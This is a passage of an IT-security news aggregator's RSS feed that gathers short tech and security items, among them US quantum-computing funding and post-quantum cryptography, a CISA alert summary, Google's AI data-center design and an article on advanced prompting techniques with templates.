<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iran-linked crews are probing more flavors of US industrial kit]]></title>
<description><![CDATA[CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure]]></description>
<link>https://tsecurity.de/de/3689375/it-security-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689375/it-security-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</guid>
<pubDate>Thu, 23 Jul 2026 16:41:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure]]></content:encoded>
</item>
<item>
<title><![CDATA[Iran-linked crews are probing more flavors of US industrial kit]]></title>
<description><![CDATA[CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure This article has been indexed from www.theregister.com – Articles Read the original article: Iran-linked crews are probing more flavors of US industrial kit
Read more →
The pos...]]></description>
<link>https://tsecurity.de/de/3689372/it-security-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689372/it-security-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</guid>
<pubDate>Thu, 23 Jul 2026 16:40:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure This article has been indexed from www.theregister.com – Articles Read the original article: Iran-linked crews are probing more flavors of US industrial kit</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/">Iran-linked crews are probing more flavors of US industrial kit</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AirPod-powered Frisbee tracker makes backyard throws scientific]]></title>
<description><![CDATA[A developer and Frisbee fan turned AirPods into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.AirPods 4Sharhan demonstrated Kinapod Disc on Reddit on July 20. The setup requires users to make a smal...]]></description>
<link>https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A developer and Frisbee fan turned <a href="https://appleinsider.com/inside/airpods" title="AirPods" data-kpt="1">AirPods</a> into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68335-144037-AirPods-4-case-xl.jpg" alt="White wireless earbuds resting in an open charging case on a soft gray fabric surface, with the case lid tilted back and earbuds partially seated in their slots" height="738"><span>AirPods 4</span></div><br>Sharhan <a href="https://www.reddit.com/r/airpods/comments/1v22xgq/airpods_can_track_frisbee_throws/">demonstrated Kinapod Disc</a> on Reddit on July 20. The setup requires users to make a small hole in the center of a flying disc and insert one AirPod stem-first.<br><br>Once it's mounted, the AirPod sends motion data to an <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> while Kinapod Disc detects each throw and records spin rate, total revolutions, estimated release speed, and airborne time.<br><br>It's a fun albeit expensive solution to the problem of throwing a plastic disc without enough statistics. It's also a clever use of motion sensors Apple builds into AirPods.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245036?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat USA 2026 - New Features]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:21 Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  

This video walks through some of our new features, the team building them explain what's coming and why it matters: 

Arsenal...]]></description>
<link>https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</guid>
<pubDate>Thu, 23 Jul 2026 15:57:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:21 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/E6mtjQ53HjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  <br />
<br />
This video walks through some of our new features, the team building them explain what's coming and why it matters: <br />
<br />
Arsenal Labs is reunited with Arsenal. The Interface showcases CTF arenas, including scenarios across healthcare, retail, and more, VR breach investigations, and escape rooms. Our NOC Outpost allows you to step beyond the glass and work alongside the team protecting the event in real time. Bricks and Picks introduces real-world physical security scenarios. The Main Stage moves to the Business Hall floor. A First-Timers Program launches for anyone walking into their first Black Hat. Networking is easier throughout the new Cyber District. <br />
<br />
Timestamps: <br />
0:00 — Why 2026 is different: active learning, hands-on experiences <br />
2:06 — Arsenal + Arsenal Labs: 115 sessions, Drone Zone, The Lab, The Interface <br />
5:51 — Summit Leaders Lounge, Community Conversations, Picture Point <br />
8:21 — NOC Outpost: step beyond the glass, see agentic AI in action <br />
9:48 — Bricks and Picks: lock picking + Lego, physical security scenarios <br />
12:19 — Main Stage + Startup Spotlight (now a global competition) <br />
13:51 — Startup City + AI Zone content stages <br />
16:09 — First-Timers Program (Tuesday 5-7pm) <br />
16:54 — Cyber District: 13 sponsor venues across the week <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
One Step Ahead. <br />
<br />
  <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
  <br />
<br />
One Step Ahead.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Maps will be at the core of Ford's electric vehicles in 2027]]></title>
<description><![CDATA[Apple and Ford have announced a new partnership that will see cars built on the latter's Universal Electric Vehicle platform use Apple Maps for advanced routing and future self-driving features.Apple Maps will be key to Ford's future EV plans. Credit: AppleThe partnership will see Maps become a k...]]></description>
<link>https://tsecurity.de/de/3689231/ios-mac-os/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689231/ios-mac-os/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027/</guid>
<pubDate>Thu, 23 Jul 2026 15:41:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple and Ford have announced a new partnership that will see cars built on the latter's Universal Electric Vehicle platform use <a href="https://appleinsider.com/inside/apple-maps" title="Apple Maps" data-kpt="1">Apple Maps</a> for advanced routing and future self-driving features.<br><br><div><img src="https://photos5.appleinsider.com/gallery/64001-133198-Phone-Call-in-CarPlay-xl.jpg" alt="Car dashboard showing a navigation screen with upcoming right turn, current time, weather, and call interface displaying contact Tito Santos." height="738"><br><span>Apple Maps will be key to Ford's future EV plans. Credit: Apple</span></div><br>The partnership will see Maps become a key component of the Universal Electric Vehicle (UEV) platform when it launches in 2027. Apple <a href="https://www.apple.com/newsroom/2026/07/apple-maps-to-power-navigation-experience-for-ford-uev-platform/?1784811622">announced</a> that its technology will go beyond simple routing and will instead be used to power Ford's next-generation BlueCruise hands-free driving feature.<br><br>"Apple Maps delivers the best map experience in the world, and we're excited to bring the power of Maps' navigation technology to Ford's innovative Universal Electric Vehicle Platform," said Eddy Cue, Apple's senior vice president of Services and Health. "With our new MapKit for Automotive SDK, we're bringing Maps further into drivers' daily lives, giving them an incredibly accurate and easy-to-use navigation system that is seamlessly integrated into Ford vehicles."<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245035?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Digital Risk Management Services Strengthen Enterprise Cybersecurity]]></title>
<description><![CDATA[In today’s hyperconnected world, organizations face cyber threats that extend far beyond their internal networks. Attackers target brands through phishing websites, leaked credentials, exposed assets, social media impersonation, and third-party vulnerabilities. These risks can damage an organizat...]]></description>
<link>https://tsecurity.de/de/3688900/it-security-nachrichten/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688900/it-security-nachrichten/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In today’s hyperconnected world, organizations face cyber threats that extend far beyond their internal networks. Attackers target brands through phishing websites, leaked credentials, exposed assets, social media impersonation, and third-party vulnerabilities. These risks can damage an organization’s reputation, disrupt operations, and lead to financial losses long before traditional security tools detect them. This is where […]</p>
<p>The post <a href="https://www.seqrite.com/blog/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/" data-wpel-link="internal" target="_self" rel="follow">How Digital Risk Management Services Strengthen Enterprise Cybersecurity</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



